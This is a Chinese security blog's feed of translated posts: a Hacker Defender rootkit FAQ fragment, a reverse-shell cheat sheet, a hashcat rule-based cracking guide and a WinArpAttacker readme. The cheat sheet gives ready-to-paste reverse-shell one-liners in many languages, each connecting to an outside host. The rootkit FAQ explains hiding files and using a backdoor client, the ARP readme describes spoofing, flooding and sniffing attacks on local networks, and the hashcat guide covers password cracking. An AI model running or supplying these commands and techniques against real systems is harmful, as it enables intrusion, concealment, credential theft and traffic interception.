(8)

问:但任何人通过NetBIOS都能看到我隐藏的文件,我该怎么做?

答:把你的文件放在系统目录深处或是不共享的目录中。

(9)

问:后门客户端不工作。所有事情看上去都是对的,但在连接之后我无法输入任何东西且整个控制屏幕都是黑的。我应该怎么办?

答:你很可能连错了端口。Hxdef尝试检测错误端口并断开和你的连接。但有时它不能检测出你使用了错误的端口,所以尝试不同的端口吧。

(10)

问:我何时能得到新版本?

答: 开发者在业余时间为这项事业编写代码。他们不因此获利也不想因此获利。目前只有两名程序员而我们认为这足够了。这意味着本项目不会和微软一样快,你不应该问我们新版何时发布。不像微软,我们的产品是自由的。我们有好的测试员,我们做了很多测试,所以我们的产品是稳定可靠的。

(11)

问:net.exe命令可以结束隐藏服务,这是个bug吗?

答:不是。这不是bug,这是特性。你想要停止一个服务就得知道它的名字,若它是隐藏的,那么就只有Rootkit的管理员知道它的名字。别害怕这是检测你的方式。

(12)

问:有什么办法检测这个Rootkit吗?

答: 是的。有很多方法可以检测任何Rootkit,这个也不例外。每个Rootkit都可以被检测。问题在于检测难度和是否有人写了检测程序。

(13)

问:所以,检测hxdef有多难?有人写出做这事的程序了吗?

答:检测它是非常非常简单的,但我不知道有专门检测你机器上是否有hxdef的工具。

(14)

问:所以,我该如何检测它?

答:我才不告诉你呢 🙂

(15)

问:以0开头的版本号意味着不稳定版本吗?

答: 不,它意味着有许多新特性还没有实现以及源代码还没有开放。

(16)

问:你何时将公开源码?我听说1.0.0版本源码会公开,但什么时候呢?

答:我真的不知道什么时候。在发布1.0.0之前我有几件事需要完成。它将花费我六个月或一年或更长时间。

(17)

问:我想成为测试员,我该做什么?

答:你应该写信告诉我你能做出怎样的贡献,你关于这项工作有着怎样的能力,你关于测试的经验。但成为这个项目的新测试员的机会很小。现在我们有足够的测试人员可以做好这项工作。不需要再增加他们的数量。

(18)

问:使用hxdef合法吗?

答:是的,合法。但hxdef也容易被滥用于非法活动。

(19)

问:有可能在机器上升级老版本的hxdef吗?可以不重启吗?

答: 不重启机器是不可能的。但当你手动卸载老版本后可以升级它,重启机器并安装新版本。

(20)

问:有可能在机器上升级这一版本的hxdef为将来的新版吗?可以不重启吗?

答: 可以!你可以简单地使用“-:uninstall”完全移除这个版本的hxdef而不用重启,然后简单地安装新版本。

(21)

问:使用“-:uninstall”还是使用“net”停止ServiceName更好?

答: 如果可以选的话还是用“-:uninstall”更好些。但用net停止也是有效的。

(22)

问:我很喜欢这个程序。我可以小额赞助支持你的工作吗?

答: 我们不需要。但我们仍然希望你能向你所在国家的慈善机构捐款并写信告诉我们。

(23)

问:有可能隐藏“C:\temp”而不隐藏“C:\winnt\temp”吗?

答:不能。创建以特殊的名字命名的你自己的目录并把它加入到[Hidden Table]。

(24)

问:我可以在配置文件中看到明文密码!这怎么可能呢?

答:你可能觉得这是很不安全的存储密码的方式,但若你隐藏了配置文件就没有人可以阅读它。所以,它是安全的。在任何时候,你都可以使用“-:refresh”很容易的修改密码。

(25)

如果我在[Hidden Processes]中隐藏了一个进程,该进程在监听一个端口,该端口是自动隐藏的呢还是要我在[Hidden Ports]中隐藏它?

答: 仅隐藏[Hidden Ports]中的端口,所以你应该将它添加到[Hidden Ports]中。

8.文件清单

原版的Hacker defender v1.0.0包含以下文件:

  • hxdef100.exe 70656b 程序Hacker defender v1.0.0
  • hxdOFdis.exe 70656b 程序Hacker defender v1.0.0禁用NtOpenFile hook版
  • hxdef100.ini 4119b 默认配置文件
  • hxdef100.2.ini 3924b 默认配置文件,变体2
  • bdcli100.exe 26624b 后门客户端
  • rdrbs100.exe 49152b 重定向基程序
  • readmecz.txt 37407b 捷克语版使用说明文件
  • readmeen.txt 37905b 英语版使用说明文件
  • src.zip 93679b 源码
]]>
https://blog.werner.wiki/hacker-defender-chinese-readme/feed/ 0
[译]反向shell浅谈 https://blog.werner.wiki/reverse-shell-cheat-sheet/ https://blog.werner.wiki/reverse-shell-cheat-sheet/#respond Thu, 19 Oct 2017 10:41:14 +0000 http://blog.werner.wiki/?p=384 《Reverse Shell Cheat Sheet》

前言

如果你在渗透测试中幸运地找到了一个命令执行漏洞那么接下来你可能想做的便是获得一个交互式shell。

通过新建账户、添加SSH秘钥或是修改.rhosts文件等方法直接登录当然可以获得交互式shell。
若无法直接登录,就该考虑将shell绑定到某个TCP端口(正向shell)或是弹一个反向shell。
本文主要介绍反向shell。

使用何种反向shell技术主要取决于目标主机上安装的脚本语言——除非你要在目标主机上安装新脚本语言。

下面的例子都是为类Unix系统定制的,其中有些例子通过简单的修改可以运行在Windows中,如将“/bin/sh -i”修改为“cmd.exe”。

所有命令都写成了一行以便于复制粘贴,虽然这降低了可读性。

Bash

下例测试于Ubuntu 10.10中:

    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

更多Bash的例子见:《bash can send you a reverse shell》

PERL

    perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

更短的版本:《perl-reverse-shell》

Python

下例测试于Linux / Python 2.7中:

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

下例假设TCP使用的文件描述符是3,在我测试的电脑上是这样的。如果不行,尝试4、5、6…

    php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

如果能上传.php文件,可以试试更强大的《php-reverse-shell》

Ruby

    ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Netcat在现在的生产环境服务器中难得一见,就算安装了它,有一些版本也不支持“-e”参数。

    nc -e /bin/sh 10.0.0.1 1234

如果你遇到的Netcat不支持“-e”参数,可以用下面的方式获得反向shell:

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
    p.waitFor()

(没有从匿名读者测试子任务)

xterm

使用xterm会话是获得反向shell最简单的方式。下面的命令应该运行在服务器上,它将会尝试连接你(10.0.0.1)的6001端口。

    xterm -display 10.0.0.1:1

为接受xterm连接你需要启动一个X-Server,方法之一是使用如下命令,该命令运行在你的电脑(10.0.0.1中),:1表示6001端口:

    Xnest :1

还需要授权让目标能够连接你:

    xhost +targetip

进一步阅读

]]>
https://blog.werner.wiki/reverse-shell-cheat-sheet/feed/ 0
[译]hashcat之基于规则的攻击 https://blog.werner.wiki/hashcat-rule-based-attack/ https://blog.werner.wiki/hashcat-rule-based-attack/#respond Sat, 29 Jul 2017 08:35:28 +0000 http://blog.werner.wiki/?p=267 原文

Rule-based Attack

译文

描述

基于规则的攻击是最为复杂的攻击之一。这样说的原因很简单。基于规则的攻击就像是设计用于产生候选密码的编程语言。例如,它有用于修改、切断、扩展单词的函数,有用于跳过某些单词的条件操作。这些特性使它成为最为灵活、精确和有效的攻击模式。

为何不使用正则表达式

为何要重复造轮子?很简单啊,正则表达式太慢了。通常,我们不得不在赶在hash算法开始之前——10ms内,生成1,000,000,000或更多的新鲜候选密码,而且这一过程要一再重复。只需看一眼你的GPU速度显示就知道该如何决定。

和其他规则引擎的兼容性

hashcat的规则引擎中,只要函数名和John the RipperPasswordsPro规则引擎中的函数名是一样的,那么该函数便是100%兼容的,反之亦然。稍后,我们会介绍一些我们自己和、不兼容的函数。但这些函数有他们自己的名字不会产生冲突。

实现了的兼容函数

下列函数100%兼容于John the Ripper和PasswordsPro:

Name Function Description Example Rule Input Word Output Word Note
Nothing : 什么都不做 : p@ssW0rd p@ssW0rd
Lowercase l 将所有字母转为小写 l p@ssW0rd p@ssw0rd
Uppercase u 将所有字母转为大写 u p@ssW0rd P@SSW0RD
Capitalize c 大写首字母,小写其余部分 c p@ssW0rd P@ssw0rd
Invert Capitalize C 小写首字母,大写其余部分 C p@ssW0rd p@SSW0RD
Toggle Case t 改变单词中所有字母的大小写 t p@ssW0rd P@SSw0RD
Toggle @ TN 改变单词中,第N个字母的大小写 T3 p@ssW0rd p@sSW0rd *
Reverse r 反转整个单词 r p@ssW0rd dr0Wss@p
Duplicate d 重复整个单词 d p@ssW0rd p@ssW0rdp@ssW0rd
Duplicate N pN 在单词后再重复N遍此单词 p2 p@ssW0rd p@ssW0rdp@ssW0rdp@ssW0rd
Reflect f 在单词后重复一遍反转的单词 f p@ssW0rd p@ssW0rddr0Wss@p
Rotate Left { 将整个单词循环左移一位 { p@ssW0rd @ssW0rdp
Rotate Right } 将整个单词循环右移一位 } p@ssW0rd dp@ssW0r
Append Character $X 在单词后边添加一个字符 $1 p@ssW0rd p@ssW0rd1
Prepend Character ^X 在单词前面添加一个字符 ^1 p@ssW0rd 1p@ssW0rd
Truncate left [ 删除第一个字符 [ p@ssW0rd @ssW0rd
Trucate right ] 删除最后一个字符 ] p@ssW0rd p@assW0r
Delete @ N DN 删除第N个位置上的字符 D3 p@ssW0rd p@sW0rd *
Extract range xNM 取从N开始的M个字符 x04 p@ssW0rd p@ss * #
Omit range ONM 删除从N开始的M个字符 O12 p@ssW0rd psW0rd *
Insert @ N iNX 在位置N插入一个字符 i4! p@ssW0rd p@ss!W0rd *
Overwrite @ N oNX 用X重写位置N的字符 o3$ p@ssW0rd p@s$W0rd *
Truncate @ N ‘N 在位置N前截断单词 ‘6 p@ssW0rd p@ssW0 *
Replace sXY 用Y替换所有X ss$ p@ssW0rd p@$$W0rd
Purge @X 清除所有X @s p@ssW0rd p@W0rd +
Duplicate first N zN 重复第一个字符N次 z2 p@ssW0rd ppp@ssW0rd
Duplicate last N ZN 重复最后一个字符N次 Z2 p@ssW0rd p@ssW0rddd
Duplicate all q 重复每个字符 q p@ssW0rd pp@@ssssWW00rrdd
Extract memory XNMI 在位置I处插入存储在内存中的词的从N开始的长度为M的子串 lMX428 p@ssW0rd p@ssw0rdw0 +
Append memory 4 将保存在内存中的词添加到当前词后面 uMl4 p@ssW0rd p@ssw0rdP@SSW0RD +
Prepend memory 6 将保存在内存中的词添加到当前词前面 rMr6 p@ssW0rd dr0Wss@pp@ssW0rd +
Memorize M 将当前词保存到内存中 lMuX084 p@ssW0rd P@SSp@ssw0rdW0RD +
  • *代表N从0开始。超过9的字符位置用A-Z来表示(A-10)
  • +代表这条规则仅仅在hashcat中实现了
  • #在oclHashcat v1.37→v1.38和hashcat v0.51→v0.52之间有所变动

译者注:“改变单词中所有字母的大小写”的“改变大小写”原文为“toggle case”。怎么个改变法?大写变小写,小写变大写,如输入为abCdE,输出则为ABcDe。

译者注:uMl4中包含4个函数:u、M、l、4。u函数将输入的p@ssW0rd转换为P@SSW0RD,M函数将P@SSW0RD存储到内存中,l函数将输入(也即是M函数的输出,为P@SSW0RD)中所有大写字母转为小写,输出为p@ssw0rd,4函数的输入是p@ssw0rd,将内存中的词(P@SSW0RD)添加到当前词(即输入)的后面,输出为p@ssw0rdP@SSW0RD。lMX428、rMr6和lMuX084同理。

丢弃文本的规则

Name Function Description Example Rule Note
Reject less <N 丢弃长度小于N的 <16
Reject greater >N 丢弃长度大于N的 >8
Reject equal _N 丢弃长度不小于N的 _7
Reject contain !X 丢弃包含字符X的 !z
Reject not contain /X 丢弃不包含字符X的 /e
Reject equal first (X 丢弃不以字符X开头的 (h
Reject equal last )X 丢弃不以字符X结尾的 )t
Reject equal at =NX 丢弃位置N不是字符X的 =1a
Reject contains %NX 丢弃字符X出现次数小于N次的 %2a
Reject contains Q 若当前词与内存中存储相匹配则丢弃 rMrQ 本例用于丢弃回文字符串

注意:丢弃规则仅仅在hashcat-legacy或是使用“-j”、“-k”的hashcat中有效。在hashcat中,丢弃规则不会作为常规规则(在规则文件中的)而发生效力。

译者注:回文字符串是指形如“aaabbcbbaaa”这样正着反着读一模一样的字符串。

实现了的特有函数

Name Function Description Example Rule Input Word Output Word Note
Swap front k 交换前两个字符 k p@ssW0rd @pssW0rd
Swap back K 交换最后面两个字符 K p@ssW0rd p@ssW0dr
Swap @ N *NM 交换M和N位置的字符 *34 p@ssW0rd p@sWs0rd *
Bitwise shift left LN 对处于N位置的字符进行按位循环左移 L2 p@ssW0rd p@æsW0rd *
Bitwise shift right RN 对处于N位置的字符进行按位循环右移 R2 p@ssW0rd p@9sW0rd *
Ascii increment +N 将处于N位置的字符的ascii码值加1 +2 p@ssW0rd p@tsW0rd *
Ascii decrement -N 将处于N位置的字符的ascii码值减1 -1 p@ssW0rd p?ssW0rd *
Replace N + 1 .N 用N+1位置的字符替换N位置的字符 .1 p@ssW0rd psssW0rd *
Replace N – 1 ,N 用N-1位置的字符替换N位置的字符 ,1 p@ssW0rd ppssW0rd *
Duplicate block front yN 重复最开始的N个字符 y2 p@ssW0rd p@p@ssW0rd *
Duplicate block back YN 重复最后面的N个字符 Y2 p@ssW0rd p@ssW0rdrd *
Title E 先将整行都小写,然后大写空格后的字符和行首的字符 E p@ssW0rd w0rld P@ssw0rd W0rld +
Title w/separator eX 先将整行都小写,然后大写指定字符后的字符和行首的字符 e- p@ssW0rd-w0rld P@ssw0rd-W0rld +

下列函数在John the Ripper或是PasswordsPro中是无效的:

  • *代表N从0开始。超过9的字符位置用A-Z来表示(A-10)
  • +仅仅在John the Ripper中有效?
  • #在测试版或未正式发行版中有效

书写规则

书写规则最重要的事情是搞清楚你想写什么。这通常意味着你必须分析十几个明文密码,而这些明文密码是被习惯设置的,来总结有什么共同之处。例如,人们常常在他们的密码后添加数字以增加密码长度。所以,我们便总结出了一下两个“要素”:

  • 我们想在后边添加些什么
  • 想添加在后边的是数字

回顾下函数列表,我们会发现在后边添加些什么应该使用函数“$”。所以,如果我们想在密码后添加“1”,我们应该写出这样的规则:

    $1

这确实很简单。但如果我们想添加1-9的所有数字呢?这就要用到一种叫做混合攻击的模式了。

需要注意:

  • 如果不是被用作参数,空白字符将被忽略。这会使源码看上去整齐些。
  • 用字符“#”开头表示注释一行

生成规则

有两种方式自动地生成规则。

随机规则

这是hashcat独有的特性。你可以使用hashcat生成直接作用于当下命令的随机规则。当你已经尝试过作用于你的所有字典的所有规则后若是不知道接下来要干什么,这便是一件好事情。有三种配置参数:

让hashcat生成应用于每个攻击的NUM条规则:

    --generate-rules=NUM

要指定函数数量(最小值到最大值的一个范围)则应该使用:

    --generate-rules-func-min=NUM
    --generate-rules-func-max=NUM

这个数量虽然没有限制但也不推荐设置得过大。当和参数-g一起使用时,超过-g参数指定数目的规则将被忽略。

例如,随机产生的规则可能是:“l r”、“l ^f”和“sa@”,这些都是能够使用的有效的规则。然而,规则“l ^f sa@ r $3”将被忽略,因为它包含了5个函数,而默认情况下,最小值为1,最大值为4。

你可以将随机生成的规则和规则文件中的规则混合。例如,你的规则文件中包含了200条规则,使用参数-g 500,则会生成另外的300条规则。

译者注:这一段是有些莫名其妙的。输入命令:echo p@ssW0rd > word,再输入命令:hashcat –stdout –generate-rules=10 word,看看输出,可能会有所悟。

保存匹配的规则

这一功能和规则生成器结合使用将带来极大的方便,也可用于统计分析你的规则集合。

使用这些参数以保存任意的匹配密码的规则:

    --debug-mode=1 --debug-file=matched.rule

这将保存每个匹配中相匹配的规则,所以结果规则文件中可能包含许多重复规则。

调试规则

使用hashcat我们可以容易地调试规则。这意味着可以验证我们写的规则实际上是不是我们想要的。只需使用参数–stdout同时忽略hashlist就行。

这有个例子:

创建一个简单的字典:

    $ echo WORd > word

生成一个简单的规则,规则“c”将大写第一个字母,小写其余部分。

    $ echo c > rule

接着便是如何查看规则生成器的调试输出了:

    $ ./hashcat-cli64.bin -r rule --stdout word
    Word

这一特性也可用于快速生成候选密码。这意味着如果你有别的支持从标准输入读数据的程序,则可直接将hashcat的输出作为别的程序的输入。

使用“p”(第N个指定的字符)作为位置规则

位置码字符“p”(看看Github上的讨论:点这儿)记录指定字符第N次出现的位置,这使得字符串中的位置也可被用在规则中。当使用“%”(丢弃某文本,除非它中出现了指定字符至少X次)和“/”(丢弃不包含指定字符的文本)时,“p”自动生效。

如果你想操作第一次出现的指定字符,你可以使用%1s或者更简单地使用’/’:

    $ echo -n 'Odessa77' | hashcat --stdout -j '%1s Dp ip$'
    Ode$sa77
    $ echo -n 'Odessa77' | hashcat --stdout -j '/s Dp ip$'
    Ode$sa77

如果你想操作第二次出现的指定字符:

    $ echo -n 'Odessa77' | hashcat --stdout -j '%2s Dp ip$'
Odes$a77

等等等等。不像替换所有指定字符的“s”规则,这允许你选择替换指定字符中的哪几个。

注意,只有在命令行参数“-j”和“-k”中,位置码字符“p”才有效。

在下面的例子中,规则中的“%2s”的意思是丢弃某文本除非它含有两个“s”,“p”的意思是操作第二次出现的字符“s”。

Name Function Description Example Rule Input Word Output Word Note
Toggle @ Tp 改变位置p字符的大小写 %2s Tp p@s.sW0rd p@s.SW0rd
Delete @ p Dp 删除位置p的字符 %2s Dp p@s.sW0rd p@s.W0rd
Extract range xpM 从位置p开始取M个字符 %2s xp4 p@s.sW0rd sW0r
Omit range OpM 从位置p开始删除M个字符 %2s Op2 p@s.sW0rd p@s.0rd
Insert @ p ipX 在位置p插入字符X %2s ip! p@s.sW0rd p@s.!sW0rd
Overwrite @ p opX 用字符X覆盖位置p的原有字符 %2s op$ p@s.sW0rd p@s.$W0rd
Truncate @ p ‘p 从位置p前截断单词 %2s ‘p p@s.sW0rd p@s.
Extract memory XpMI 在位置I处插入存储在内存中的词的从p的长度为M的子串 %2s lMXp28 p@s.sW0rd p@s.sw0rswd
Swap @ p *pM 交换p与M处的字符 %2s *p4 p@s.sW0rd p@s.sW0rd
Bitwise shift left Lp 按位循环左移位置p处的字符 %2s Lp p@s.sW0rd p@s.▒W0rd
Bitwise shift right Rp 按位循环右移位置p处的字符 %2s Rp p@s.sW0rd p@s.9W0rd
ASCII increment +p 位置p处的字符的ascii码值加1 %2s +p p@s.sW0rd p@s.tW0rd
ASCII decrement -p 位置p处的字符的ascii码值减1 %2s -p p@s.sW0rd p@s.rW0rd
Replace p + 1 .p 用p+1处的字符替换p处的字符 %2s .p p@s.sW0rd p@s.WW0rd
Replace p – 1 ,p 用p-1处的字符替换p处的字符 %2s ,p p@s.sW0rd p@s..W0rd

在hashcat-legacy或hashcat中看规则/的示例。

多规则

从oclHashcat-plus v0.07开始,基于规则的攻击中添加了一个新特性。

你可以随心所欲地添加多个-r参数,不再是以前的只能有一个-r参数或一个规则文件。

他们不是顺序执行的!

每个规则文件中的规则都会和另一个规则文件中的规则相组合。这就使得你可以容易地创造自己的攻击模式。

    $ cat 123.rule
    $1
    $2
    $3

    $ cat abc.rule
    $a
    $b
    $c

    $ hashcat --stdout -r 123.rule -r abc.rule wordlist
    hashcat1a
    hashcat2a
    hashcat3a
    hashcat1b
    hashcat2b
    hashcat3b
    hashcat1c
    hashcat2c
    hashcat3c

因为生成规则的总数取决于所有列表,所以若是叠加多个大列表,可用内存将会很快耗光。但是,叠加精心选择的规则将会有很好的效果。

支持

目前支持这种攻击模式的有:

限制

在hashcat中,单行规则中函数数量和多规则中函数总量的上限均为255。

]]>
https://blog.werner.wiki/hashcat-rule-based-attack/feed/ 0
[译]WinArpAttacker3.50Readme https://blog.werner.wiki/winarpattacker3-50readme/ https://blog.werner.wiki/winarpattacker3-50readme/#respond Tue, 28 Mar 2017 05:38:20 +0000 http://blog.werner.wiki/?p=180 原文信息
  • 标题 : WinArpAttacker 3.50 Readme
  • 日期 : 2006年6月4日
  • 作者 : unshadow
  • 邮箱 : asia_message@hotpop.com
  • 网站 : 还没有,作者正在找一个免费的,如果你有好的建议可以告诉作者
  • 译者 : Werner(主要是意译了)

目录

  1. 前言
  2. 概览
  3. 系统要求
  4. 新特性
  5. 开始
  6. 已知问题
  7. 修订历史
  8. 下一步

0. 前言

警告:这个程序是危险的,仅供研究之用。因本程序造成的任何可能的损失都与作者(unshadow)无关,如果你不同意这一点,请立刻删除本程序。如果你使用本程序,就认为你同意以上全部观点。

WinArpAttacker基于wpcap,你必须在运行它前安装wpcap驱动。若你已经安装了老版本的winpcap,可直接安装WinPcap_3_1.exe覆盖它。

1. 概览

WinArpAttacker是一个可以扫描、攻击、检测、保护局域网中电脑的程序。

有如下特性:

1.1 扫描

  • 它可以很快地(2~3秒内)扫描和展示位于局域网内部的活动主机。它有两种扫描模式,一种是正常扫描,还有一种是反嗅探(antisniff)扫描。后一种可以发现谁正在嗅探网络。
  • 它可以保存和载入主机列表文件。
  • 它可以定期扫描以发现新增主机。
  • 通过嗅探技术,它可以被动地更新主机列表,也就是说,它不用扫描,而是通过读取ARP请求包中的源地址来更新主机列表。
  • 通过高级对话框可以完成高级扫描。
  • 通过高级对话框可以扫描一个B类网段。
  • 在事件列表视图中,它可以扫描正在搞事情的主机。

1.2 攻击

  • 可拉取并收集局域网中所有数据包。
  • 可执行下列的六种攻击:
    1. Arp Flood – 尽可能快地向目标主机发送IP地址冲突的数据包,如果你发得够多,目标主机将会被玩坏(down) 。:-(
    2. BanGateway – 告诉网关目标主机的MAC地址为一个错误的MAC地址,这样目标主机将接收不到来自互联网的数据包。这种攻击可阻止目标主机访问互联网。
    3. IPConflict – 类似Arp Flood,规律性地发送IP地址冲突的数据包,也许用户因为规律性地IP地址冲突消息而不能工作。以及,这会使目标无法访问局域网。
    4. SniffGateway – 欺骗目标和网关,这样就能用嗅探收集它们之间的数据包。
    5. SniffHosts – 欺骗两个或更多主机,这样就能用嗅探收集它们之间的数据包。(危险!!!!)
    6. SniffLan – 与SniffGateway很类似, 区别在于SniffLan会发送广播ARP报文告诉局域网中所有主机你的主机就是网关,这样你就能嗅探局域网中所有数据包(危险!!!!!!!!!!!!!!)
  • 在整个ARP欺骗期间,WinArpAttacker会作为另一个网关(或IP转发器),局域网中其他用户无法识别。
  • WinArpAttacker会收集数据包,并通过自己的IP转发函数转发,你最好禁用系统的IP转发函数,因为WinArpAttacker可以很好地搞定这件事。
  • 所有通过欺骗被嗅探的数据和被WinArpAttacker IP转发函数转发的数据都被统计,你可以在主界面看到。
  • 正如你希望的,ARP表会在很短时间内(大约5秒)自动覆盖。你也可以选择从不覆盖。

1.3 检测

最重要的是,WinArpAttacker可以检测到上述的几乎所有攻击行为以及主机状态,可以检测到的事件列表如下:

  • SrcMac_Mismath – 主机发送了一个ARP包,它的源MAC地址不匹配,故此包将被忽略。
  • DstMac_Mismath – 主机接收了一个ARP包,它的目的MAC地址不匹配,故此包将被忽略。
  • Arp_Scan – 为了得到主机列表,某主机正在用ARP请求包扫描局域网。
  • Arp_Antisniff_Scan – 主机正在为嗅探主机而扫描局域网,以获知哪台主机正在嗅探网络。
  • Host_Online – 主机现在在线。
  • Host_Modify_IP – 主机改变了IP地址或添加了新IP地址。
  • Host_Modify_MAC – 主机改变了它的MAC地址。
  • New_Host – 发现了新主机。(译注:原文为“New gost was found.”,gost当为笔误。)
  • Host_Add_IP – 主机添加了一个新IP地址。
  • Multi_IP_Host – 主机有多IP地址。
  • Multi_Mac_Host – 主机有多MAC地址。
  • Attack_Flood – 主机发送了大量ARP报文到另一台主机,故目标主机响应变慢。
  • Attack_Spoof – 主机发送了特殊ARP报文去嗅探两个目标主机间的数据,故受骗者的数据已经泄露。
  • Attack_Spoof_Lan – 主机让局域网中所有主机相信它才是网关,故攻击者可以嗅探所有主机发往网关的数据。
  • Attack_Spoof_Ban_Access – 告诉两主机对方的MAC地址为一个不存在的MAC地址,使目标主机间无法通信。
  • Attack_Spoof_Ban_Access_GW – 告诉网关某主机的MAC地址为一个不存在的MAC地址,使目标主机无法通过网关访问互联网。
  • Attack_Spoof_Ban_Access_Lan – 广播某主机的MAC地址为一个不存在的MAC地址,使目标无法和局域网中任意主机通信。
  • Attack_IP_Conflict – 主机发现另一个主机和它有相同IP,故目标将被IP冲突消息干扰。
  • Local_Arp_Entry_Change – 现在WinArpAttacker可以监视本地ARP表入口,当一个主机的ARP地址改变时, WinArpAttacker可以报告。
  • Local_Arp_Entry_Add – 当本地ARP表中新增一个MAC地址,WinArpAttacker可以报告。

可用WinArpAttacker检测来解释每个事件,也可将事件保存到文件。

1.4 保护

提供ARP表保护。当WinArpAttacker检测到本地或远程主机正在遭受ARP欺骗,它将会覆盖本地或远程主机的ARP表为你想要的值。

1.5 ARP代理

当你的局域网中的某主机请求其他主机的MAC地址时,WinArpAttacker将把你希望的某一MAC地址告诉发起请求的主机,说这就是它所请求的MAC地址。

这用于在一个新局域网中访问因特网而不用改变你的IP地址。但若你给的是一个错误的MAC地址,这将会导致你的局域网陷入大的mass。(but it also can make your lan in a big mass if you assign a wrong mac address.)

1.6 保存ARP包

可保存所有嗅探到的ARP包到文件。

1.7 其他特性

  • 支持一台主机上多网卡、多IP、多网关,你可以选择不同的网卡或IP来扫描不同的局域网。
  • 支持DHCP和固定IP地址。
  • 统计每个主机所有的ARP包,包括发送和接收的。

    Arp R/S Q/P
    | |
    Action(Recive/Send) Arp packets type(ReQuest/RePly)
    – – – –

    ArpRQ: 接收到的ARP请求包个数
    ArpRP : 接收到的ARP回应包个数
    ArpSQ : 发送的ARP请求包个数
    ArpSP : 发送的ARP回应包个数

2. 系统要求

  • 本地: Windows XP/2000/2003(但我没在Windows XP/2003下测试过)。
  • 远程:包括所有电脑和网络驱动。
  • WinPcap:至少是3.1版本。

3. 新特性

  • 通过高级模式,可以扫描一个大的IP范围内的在线主机。
  • 可以保护本地或远程主机免于ARP欺骗攻击。
  • 可启用ARP代理,充当ARP代理。
  • 可以存储所有嗅探到的ARP包到文件。

4. 开始

  • 首先,安装最新版的WinPcap驱动。
  • 然后,只需运行WinArpAttacker.exe。
  • 点击扫描按钮开始扫描。
  • 用”arp -a”查看远程主机的ARP信息。
  • 点击停止按钮停止攻击。
  • 点击选项按钮以选择一个适配器(网卡)或IP地址。
  • 点击选项按钮以修改攻击步骤。

5. 已知问题

  1. 运行这个程序需要管理员特权,否则,程序运行可能不正常。
  2. 攻击动作是很危险的,你必须谨慎。
  3. 如果局域网中电脑很多(超过50),真正的网关可能会被玩坏( may be down)。

6. 修订历史

(译者注:我并不关心修订历史,就没有翻译这部分)

7. 下一步

现在还没有下一步计划,如果你有好的建议可以给我发邮件(asia_message@hotpop.com)。

后记

(后记是译者的后记)我觉得ARP欺骗是很实用的攻击方法,想试一试,就找到了WinArpAttacker这个软件。但实在没耐心看一遍英文的文档,所以干脆翻译一遍好了。

]]>
https://blog.werner.wiki/winarpattacker3-50readme/feed/ 0